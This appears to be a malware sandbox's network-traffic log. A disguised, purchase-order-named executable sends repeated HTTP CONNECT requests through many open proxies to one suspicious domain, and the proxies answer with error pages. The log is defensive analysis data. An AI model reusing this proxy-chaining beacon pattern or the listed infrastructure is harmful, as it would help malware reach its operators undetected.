Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.11	51990	144.76.96.180	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.428812981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.931623936 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.11	51714	117.160.250.130	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.429039001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.981537104 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.11	51966	31.43.158.108	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.429104090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.11	52143	104.19.138.4	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.429310083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.584019899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.11	51965	27.0.234.206	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.430187941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.11	51950	109.194.22.61	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.430605888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.282466888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.11	52049	139.162.238.184	21017	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.430610895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.173053026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.189008951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985677958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.11	52014	14.103.26.53	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.430931091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.739722013 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.11	52121	51.89.173.40	44719	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.433307886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.11	52002	185.49.31.207	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.435388088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.11	52045	72.49.49.11	31034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.437359095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.11	52182	104.21.31.189	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.438021898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.592243910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.11	51220	91.134.140.160	11946	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.456511021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603147984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.613493919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.11	52060	203.96.177.211	43839	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.459266901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.185687065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.11	52209	172.67.181.17	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.460001945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.614048004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.11	52126	66.45.246.194	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.465964079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.11	51306	181.78.11.217	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.468877077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.487166882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673304081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.688899994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.704123974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.782341957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.876079082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.875936985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:21.969558954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.11	52231	104.20.198.49	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.472480059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.626797915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.11	52074	178.54.21.203	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.475991964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
